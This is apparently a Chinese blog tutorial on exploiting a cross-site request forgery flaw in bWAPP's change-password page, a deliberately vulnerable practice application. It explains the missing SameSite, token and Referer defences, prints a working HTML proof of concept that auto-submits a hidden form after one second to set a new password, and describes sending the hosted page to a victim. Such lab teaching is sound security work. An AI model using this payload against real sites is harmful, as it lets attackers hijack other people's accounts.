下载bWAPP这个实验环境,这个是使用php的环境用phpstudy就能很简单的搭建了(其他的版本有后门,还请用新版)
下载安装的教程网上有很多的,这里就不多说了
访问CSRF(change password)
image.png
这个页面是用来改密码的
image.png
抓个包看一下
image.png
改密码需要用到cookie,如果把cookie删除了就不会响应请求,但是应用并没用配置samesite属性,也没用token,也没有验证referer(把referer删了系统还是会正常响应),所以就有了CSRF漏洞
没了cookie.png
没了referer.png
好的现在创建一个poc,如图:
image.png
弹出一个html文本,保存好就行:
image.png
但是这个poc是需要点击的,那么加个JS控制1s后自动提交
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script language=javascript>setTimeout("document.form1.submit()",1000) </script>
<form name="form1" action="http://localhost/bwapp/bwapp/csrf_1.php">
<input type="hidden" name="password_new" value="222" />
<input type="hidden" name="password_conf" value="222" />
<input type="hidden" name="action" value="change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
下面开始演示
把上面的代码保存成html格式,放到云上,或本地,看你实际情况,我这里直接传到云上
访问路径是这个http://xxx.xxx.xxx/sqs.html
登陆bwapp ,看到cookie已经有了,正常情况下,其他人是不可能拿到这个cookie的所以,也就不能冒充你的身份去修改你的密码
但是这个时候你给他发送一个链接http://xxx.xxx.xxx/sqs.html就是我们部署的CSRF攻击页面
只要他点击或用这个浏览器打开,等待1秒,之后表单自动提交,因为提交的域名是localhost,所以浏览器会把cookie带上,这样我们就伪造了这个改密码的请求
网友评论